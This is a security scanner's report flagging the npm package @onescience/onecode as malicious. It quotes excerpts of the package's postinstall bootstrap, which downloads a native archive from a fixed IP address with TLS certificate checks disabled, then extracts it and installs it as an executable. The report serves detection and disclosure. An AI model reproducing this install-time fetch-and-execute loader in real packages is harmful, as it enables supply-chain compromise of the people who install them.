Loading npm security reports…

@onescience/onecode@1.14.50-202608311810: Malicious npm security | LPM Firewall

registry / @onescience/onecode / 1.14.50-202608311810

@onescience/onecode@1.14.50-202608311810

OneScience AI coding agent for the terminal.

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installing the package fetches an opaque native archive from a fixed IP address with certificate checks disabled. The archive is extracted into node_modules, exposes an executable, and supplies hidden agent-related asset directories.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review

Trigger

npm postinstall during package installation; the fetched executable runs when the onecode command is invoked.

Impact

A network attacker or the remote host can provide a native payload that is later executed by the installed command and can supply agent-related assets.

Mechanism

Unverified remote native payload download, extraction, and hidden asset symlinking.

Attack narrative

npm runs postinstall, which calls the bootstrap. The bootstrap constructs a URL at a fixed IP, disables certificate verification, downloads and extracts a platform archive, then installs an executable and symlinks hidden .opencode and .oneskills directories from that archive into the launcher. The visible command executes the installed native binary when invoked. This makes the remote archive an unverified code and asset source in the installation path.

Rationale

The package automatically installs an opaque native payload from a fixed IP with TLS verification disabled and makes it executable. Its postinstall also wires hidden agent-related assets from that payload into the package root.

Evidence

package.jsonpostinstall.mjsplatform-bootstrap.mjsbin/.onecode.platform-version.platform-bootstrap-worknode_modules/onecode-linux-x64.opencode

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node ./postinstall.mjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10scripts.postinstall = node ./postinstall.mjs Install-time code downloads an unverified remote native archive, stages it locally, activates an executable path, and exposes it to process execution. L10: import os from "os" L11: import https from "https" L12: import { fileURLToPath } from "url" ... L15: const product = "onecode" L16: const DEFAULT_TGZ_BASE = "https://218.90.133.98:4443/onecode_tgz" L17: ... L78: const binaryName = detectPlatformAndArch().platform === "windows" ? `${product}.exe` : product L79: const binaryPath = path.join(rootDir, "node_modules", packageName, "bin", binaryName) L80: if (!fs.existsSync(binaryPath)) return null L81: return { binaryPath, binaryName, packageName } L82: } ... L99: return new Promise((resolve, reject) => {

High

Unverified Remote Native Payload Install

Install-time source downloads a native archive from a fixed external host without transport verification, extracts it, and installs an executable payload.

package.jsonView on unpkg · L10

10"scripts": { "postinstall": "node ./postinstall.mjs" } }

High

Suspicious Lifecycle Evidence

A postinstall hook automatically invokes the platform bootstrap.

package.jsonView on unpkg · L10

•scripts.postinstall = node ./postinstall.mjs

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

platform-bootstrap.mjsView file

•matchType = normalized_sha256 matchedPackage = @onescience/onecode@1.14.50-202607281613 matchedPath = platform-bootstrap.mjs matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202607281613 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

platform-bootstrap.mjsView on unpkg

91function platformTgzUrl(version) { const base = (process.env.ONECODE_TGZ_DOWNLOAD_BASE || DEFAULT_TGZ_BASE).replace(/\/$/, "") const dir = encodeURIComponent(`onecode-${version}`) const file = encodeURIComponent(`onecode-linux-x64-${version}.tgz`) return `${base}/${dir}/${file}` } function downloadFile(url, dest) { return new Promise((resolve, reject) => { const file = fs.createWriteStream(dest) const req = https.get(url, { rejectUnauthorized: false }, (res) => { if (res.statusCode === 301 || res.statusCode === 302) { file.close() fs.unlinkSync(dest)

High

Ai Review Evidence

The bootstrap downloads a versioned native archive from a hard-coded IP address while disabling TLS certificate verification.

platform-bootstrap.mjsView on unpkg · L91

196console.log(`Downloading ${packageName} from ${url}`) fs.rmSync(workDir, { recursive: true, force: true }) fs.mkdirSync(workDir, { recursive: true }) await downloadFile(url, tmpTgz) console.log(`Downloaded ${path.basename(tmpTgz)} (${(fs.statSync(tmpTgz).size / 1024 / 1024).toFixed(1)} MB)`) fs.mkdirSync(tmpExtract, { recursive: true }) execSync(`tar -xzf "${tmpTgz}"`, { cwd: tmpExtract, stdio: "pipe" }) const extractedRoot = path.join(tmpExtract, "package") if (!fs.existsSync(extractedRoot)) { throw new Error(`Expected package/ inside tgz downloaded from ${url}`) }